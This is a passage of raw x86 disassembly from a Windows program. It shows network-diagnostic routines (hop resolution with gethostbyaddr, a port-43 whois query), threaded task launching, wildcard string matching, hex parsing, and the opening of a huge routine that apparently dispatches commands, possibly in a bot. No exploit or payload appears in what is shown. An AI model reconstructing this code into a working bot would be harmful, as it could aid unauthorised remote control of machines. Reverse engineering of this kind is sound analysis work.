mov al, [ebp-2B4h] add al, 1 mov [ebp-2B4h], al loc_409F33: ; CODE XREF: .text:00409F23j movzx eax, byte ptr [ebp-2B4h] movzx ecx, byte ptr [ebp-0Dh] cmp eax, ecx jg loc_40A1A1 cmp dword ptr [ebp-4], 0 jnz loc_40A1A1 and dword ptr [ebp-2ECh], 0 or dword ptr [ebp-2E4h], 0FFFFFFFFh and dword ptr [ebp-2E0h], 0 and dword ptr [ebp-2DCh], 0 and dword ptr [ebp-2D0h], 0 and dword ptr [ebp-2C8h], 0 and dword ptr [ebp-2CCh], 0 and dword ptr [ebp-2D8h], 0 and dword ptr [ebp-2D4h], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: .text:loc_40A04Ej mov eax, [ebp-2D4h] inc eax mov [ebp-2D4h], eax loc_409F9E: ; CODE XREF: .text:00409F8Fj mov eax, [ebp-2D4h] cmp eax, [ebp-8] jnb loc_40A053 cmp dword ptr [ebp-2D8h], 0 jnz loc_40A053 push 20h push dword ptr [ebp-0Ch] push dword ptr [ebp-2B4h] lea eax, [ebp-2CCh] push eax push dword ptr [ebp-2BCh] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp dword ptr [ebp-2CCh], 0 jnz short loc_40A02F mov eax, [ebp-2D0h] add eax, [ebp-2C4h] mov [ebp-2D0h], eax mov eax, [ebp-2C4h] cmp eax, [ebp-2E4h] jnb short loc_40A013 mov eax, [ebp-2C4h] mov [ebp-2E4h], eax loc_40A013: ; CODE XREF: .text:0040A005j mov eax, [ebp-2C4h] cmp eax, [ebp-2DCh] jbe short loc_40A02D mov eax, [ebp-2C4h] mov [ebp-2DCh], eax loc_40A02D: ; CODE XREF: .text:0040A01Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: .text:00409FE5j mov eax, [ebp-2CCh] mov [ebp-2ECh], eax mov dword ptr [ebp-2D8h], 1 loc_40A045: ; CODE XREF: .text:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: .text:00409FDCj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: .text:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: .text:00409FA7j ; .text:00409FB4j mov eax, [ebp-2C8h] mov [ebp-2E8h], eax cmp dword ptr [ebp-2ECh], 0 jnz short loc_40A07B mov eax, [ebp-2D0h] xor edx, edx div dword ptr [ebp-8] mov [ebp-2E0h], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: .text:0040A066j and dword ptr [ebp-2E4h], 0 and dword ptr [ebp-2E0h], 0 and dword ptr [ebp-2DCh], 0 loc_40A090: ; CODE XREF: .text:0040A079j cmp dword ptr [ebp-2ECh], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp-2E8h] push eax call ds:dword_417220 ; gethostbyaddr mov [ebp-2F0h], eax cmp dword ptr [ebp-2F0h], 0 jz short loc_40A115 movzx eax, byte ptr [ebp-2E5h] push eax movzx eax, byte ptr [ebp-2E6h] push eax movzx eax, byte ptr [ebp-2E7h] push eax movzx eax, byte ptr [ebp-2E8h] push eax mov eax, [ebp-2F0h] push dword ptr [eax] push dword ptr [ebp-2DCh] push dword ptr [ebp-2E0h] push dword ptr [ebp-2E4h] movzx eax, byte ptr [ebp-2B4h] push eax push offset dword_419594 lea eax, [ebp-2B0h] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: .text:0040A0BBj movzx eax, byte ptr [ebp-2E5h] push eax movzx eax, byte ptr [ebp-2E6h] push eax movzx eax, byte ptr [ebp-2E7h] push eax movzx eax, byte ptr [ebp-2E8h] push eax push dword ptr [ebp-2DCh] push dword ptr [ebp-2E0h] push dword ptr [ebp-2E4h] movzx eax, byte ptr [ebp-2B4h] push eax push offset dword_419568 lea eax, [ebp-2B0h] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: .text:0040A113j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: .text:0040A097j push dword ptr [ebp-2ECh] movzx eax, byte ptr [ebp-2B4h] push eax push offset dword_419540 lea eax, [ebp-2B0h] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: .text:loc_40A163j mov eax, [ebp-2BCh] cmp eax, [ebp-2E8h] jnz short loc_40A19C mov dword ptr [ebp-4], 1 loc_40A19C: ; CODE XREF: .text:0040A193j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: .text:00409F40j ; .text:00409F4Aj xor eax, eax locret_40A1A3: ; CODE XREF: .text:00409E1Fj ; .text:00409E78j ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset loc_409DD0 push 0 push 0 call ds:dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: .text:0040A4D4p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset a43 ; "43" mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset aS_1 ; "%s\r\n" lea eax, [ebp+var_114] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call ds:dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2D8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; --------------------------------------------------------------------------- loc_40A4A4: ; DATA XREF: sub_40A50E+A1o push ebp mov ebp, esp sub esp, 3A8h push 3A7h push dword ptr [ebp+8] lea eax, [ebp-3A8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-3A8h] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp-2A4h] push eax push offset dword_419698 lea eax, [ebp-1A4h] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: .text:0040A4DFj push dword ptr [ebp-3A8h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset loc_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D+2Dj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h 